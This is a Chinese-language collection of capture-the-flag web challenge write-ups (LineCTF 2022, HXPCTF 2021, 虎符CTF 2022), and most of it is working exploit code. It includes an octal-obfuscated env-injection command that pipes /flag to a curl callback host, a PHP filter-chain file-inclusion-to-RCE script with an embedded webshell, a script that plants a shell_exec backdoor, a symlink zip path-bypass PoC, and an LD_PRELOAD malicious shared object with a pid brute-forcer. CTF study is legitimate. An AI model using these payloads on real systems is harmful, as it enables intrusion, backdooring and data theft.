-
[LineCTF 2022]gotm
go ssti + jwt 伪造,首先在根目录发现直接解析,传入
{{.}}
能打印环境变量并泄露对应的 key,注册特定用户生成 token 再传入,拿到 key 之后直接加密即可。
-
[LineCTF 2022]BB
linux 中可以用
$'\'
以 8 进制形式执行指令,cat flag == $'\143\141\164' flag
centos,可以用 p 神那篇 https://tttang.com/archive/1450/ 利用环境变量注入执行任意命令,用 8 进制绕过第一个过滤即可。
import string import requests cmd = 'cat /flag | curl -d @- http://vps:port' o = '' for c in cmd: if c in string.ascii_letters: o += f"$'\\{oct(ord(c))[2:]}'" else: o += c r = requests.get(f'http://213f6e8f-d034-4a8a-92af-97f37cdbfc70.node4.buuoj.cn:81/?env[BASH_ENV]=`{o}`') print(r.text)
-
[HXPCTF 2021]includer's revenge
著名的 nginx+LFI getshell,大致流程:
1.Nginx 在后端 fastcgi 响应过大或请求正文 body 过大时会产生临时文件 2.绕过 PHP 对软链接的解析
首先是第一个问题:产生的临时文件会立刻被删除,但在 linux 下,如果打开一个文件,该文件会出现在 /proc/pid/fd 下,而如果一个文件没被关闭就直接删除,依然可以读到文件的内容。
但读的话是以软连接的形式读的,而 php 会先解析软连接,再打开。这时就有了新的问题,这个被删除的软链接会在后面带有 (deleted),也就是:/proc/pid/fd/x (deleted)
这样的话 php 就会解析失败,这里通过 https://www.anquanke.com/post/id/213235#h3-5 require_once 绕过不能包含重复文件的思路,加一层目录嵌套起来,能防止 php 对软链接进行解析。
/proc/self/fd/34/../../../34/fd/9
还有一个问题就是确定 pid,需要在一个范围内进行爆破。首先在 /proc/cmdline 中找到 nginx 的 worker process(nginx master 进程不处理请求),这里 worker process 的数量不会超过 cpu 核心数量(可以通过 /proc/cpuinfo)查看,然后就是查看 /proc/sys/kernel/pid_max 找到最大的 pid,就能确定扫描范围。
最后的 payload:import requests url = "http://localhost/index.php" file_to_use = "/etc/passwd" command = "/readflag" #<?=`$_GET[0]`;;?> base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" conversions = { 'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C': 'convert.iconv.UTF8.CSISO2022KR', '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', 'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213', 's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61', 'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS', 'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', 'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213', 'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5', '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', 'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2', 'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2', 'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', 'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2', '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2', '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' } # generate some garbage base64 filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" # make sure to get rid of any equal signs in both the string we just generated and the rest of the file filters += "convert.iconv.UTF8.UTF7|" for c in base64_payload[::-1]: filters += conversions[c] + "|" # decode and reencode to get rid of everything that isn't valid base64 filters += "convert.base64-decode|" filters += "convert.base64-encode|" # get rid of equal signs filters += "convert.iconv.UTF8.UTF7|" filters += "convert.base64-decode" final_payload = f"php://filter/{filters}/resource={file_to_use}" r = requests.get(url, params={ "0": command, "action": "include", "file": final_payload }) print(r.text)
-
[HXPCTF 2021]shitty blog
先看一下能交互的地方,_POST['content'] 被 htmlspecialchars 防死了,_POST['delete'] 没什么用,_COOKIE['session'] 输入后,经过拆分,判断处理之后,其中的一部分在 insert_entry 中经过预编译后插入,但在 get_user 和 delete_entry 的时候从数据块中取出,直接拼接,存在二次注入。
再看这一条链子中的判断,主要是这句:if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) { exit(); }
其中 crypt 会被 \x00 截断,也就是说只要 hash_hmac 是以 \x00 开头,那么 crypt 就是加密了一个空(NULL),使加密结果固定。
if(! isset($_COOKIE['session'])){ $id = random_int(1, PHP_INT_MAX); $mac = substr(crypt(hash_hmac('md5', $id, $secret, true), $salt), 20); }
依照自动生成 session 的规则,只要能生成两个 mac 相同但 id 不同的 session ,就能说明
hash_hmac('md5', id, secret, true)
结果为空。在此结果之上构造 id,就可以实现注入。
php 使用 PDO 链接 sqlite,默认支持堆叠注入,最后只需要在 data 目录下面写一个 webshell 就 ok 了。 -
[HXPCTF 2021]unzipper
传一个压缩包上去,然后会给你解压,但这里不知道 sandbox 的指,没法直接传🐎,并且这里 nginx 的配置是:
location = /index.php { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.4-fpm.sock; }
指解析 index.php,其它的 php 并不解析。
如果是普通的 zip 解压然后读可以用软连接读文件,但这里的不同之处在于对传入的文件名进行了 realpath,会去除软连接和相关目录操作,直接返回完整路径。
但是 realpath 不能识别各种协议(PHP 伪协议),所有可以创建一个目录,目录名是 php 伪协议开头,这样就可以绕过判断。
poc:#!/bin/bash rm -rf exploit.dir mkdir -p exploit.dir pushd exploit.dir TARGET='http://65.108.176.76:8200' EPATH='php://filter/convert.base64-encode/resource=exploit' mkdir -p $EPATH ln -s /flag.txt exploit zip -y -r exploit.zip * curl -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' $TARGET -F "file=@exploit.zip" curl -s -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' "$TARGET/?file=$EPATH" | base64 -d echo popd
-
[HXPCTF 2021]counter
也挺离谱的。。。通过 system 时新创建进程,如果把文件名设置为一串 base64,那么 system 起的这个进程的 /proc/pid/cmdline 就是这一串我们可控的 base64,在 include 中通过 php 伪协议解析。
问题还是 pid 的爆破范围,这里通过 /proc/sys/kernel/ns_last_pid 来确定,这个文件显示这个 pid 命名空间中分配的最后一个 pid。
poc:#!/usr/bin/env python3 import requests, threading, time,os, base64, re, tempfile, subprocess,secrets, hashlib, sys, random, signal from urllib.parse import urlparse,quote_from_bytes def urlencode(data, safe=''): return quote_from_bytes(data, safe) url = f'http://{sys.argv[1]}:{sys.argv[2]}/' backdoor_name = secrets.token_hex(8) + '.php' secret = secrets.token_hex(16) secret_hash = hashlib.sha1(secret.encode()).hexdigest() print('[+] backdoor_name: ' + backdoor_name, file=sys.stderr) print('[+] secret: ' + secret, file=sys.stderr) code = f"<?php if(sha1($_GET['s'])==='{secret_hash}')echo shell_exec($_GET['c']);".encode() payload = f"""<?php if(sha1($_GET['s'])==='{secret_hash}')file_put_contents("{backdoor_name}",$_GET['p']);/*""".encode() payload_encoded = b'abcdfg' + base64.b64encode(payload) print(payload_encoded) assert re.match(b'^[a-zA-Z0-9]+$', payload_encoded) # check if the payload would work on our local php setup with tempfile.NamedTemporaryFile() as tmp: tmp.write(b"sh\x00-c\x00rm\x00-f\x00--\x00'"+ payload_encoded +b"'") tmp.flush() o = subprocess.check_output(['php','-r', f'echo file_get_contents("php://filter/convert.base64-decode/resource={tmp.name}");']) print(o, file=sys.stderr) assert payload in o os.chdir('/tmp') subprocess.check_output(['php','-r', f'$_GET = ["p" => "test", "s" => "{secret}"]; include("php://filter/convert.base64-decode/resource={tmp.name}");']) with open(backdoor_name) as f: d = f.read() assert d == 'test' pid = -1 N = 10 done = False def worker(i): time.sleep(1) while not done: print(f'[+] starting include worker: {pid + i}', file=sys.stderr) s = f"""bombardier -c 1 -d 3m '{url}?page=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3D%2Fproc%2F{pid + i}%2Fcmdline&p={urlencode(code)}&s={secret}' > /dev/null""" os.system(s) def delete_worker(): time.sleep(1) while not done: print('[+] starting delete worker', file=sys.stderr) s = f"""bombardier -c 8 -d 3m '{url}?page={payload_encoded.decode()}&reset=1' > /dev/null""" os.system(s) for i in range(N): threading.Thread(target=worker, args=(i, ), daemon=True).start() threading.Thread(target=delete_worker, daemon=True).start() while not done: try: r = requests.get(url, params={ 'page': '/proc/sys/kernel/ns_last_pid' }, timeout=10) print(f'[+] pid: {pid}', file=sys.stderr) if int(r.text) > (pid+N): pid = int(r.text) + 200 print(f'[+] pid overflow: {pid}', file=sys.stderr) os.system('pkill -9 -x bombardier') r = requests.get(f'{url}data/{backdoor_name}', params={ 's' : secret, 'c': f'id; ls -l /; /readflag; rm {backdoor_name}' }, timeout=10) if r.status_code == 200: print(r.text) done = True os.system('pkill -9 -x bombardier') exit() time.sleep(0.5) except Exception as e: print(e, file=sys.stderr)
-
[虎符CTF 2022]ezphp
p 神的环境变量注入 getshell 只限于 centos 系统,debian 无法利用,具体原理翻原文。
这里利用 hxp2021 中 nginx 上传文件的特性,传一个恶意的 so 文件,然后再用 LD_PRELOAD 加载
恶意的 so 文件:#include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void){ unsetenv("LD_PRELOAD"); system("id"); system("cat /flag > /var/www/html/flag"); }
然后用脚本直接在 so 后面添加垃圾数据(因为 elf 文件的规范性这里不会影响解析)
然后爆破:import threading, requests URL = 'http://1.14.71.254:28878/' done = False def uploader(): print('[+] starting uploader') while not done: requests.get(URL, data=open("D:/tmp/evil_dirty.so", "br").read()) for _ in range(16): t = threading.Thread(target=uploader) t.start() def bruter(): for pid in range(4194304): print(f'[+] brute loop restarted: {pid}') for fd in range(4, 32): f = f'/proc/{pid}/fd/{fd}' r = requests.get(URL, params={ 'env': f"LD_PRELOAD={f}", }) if 'uid' in r.text: print(r.text) print("[+] finished") exit() a = threading.Thread(target=bruter) a.start()
-
参考文献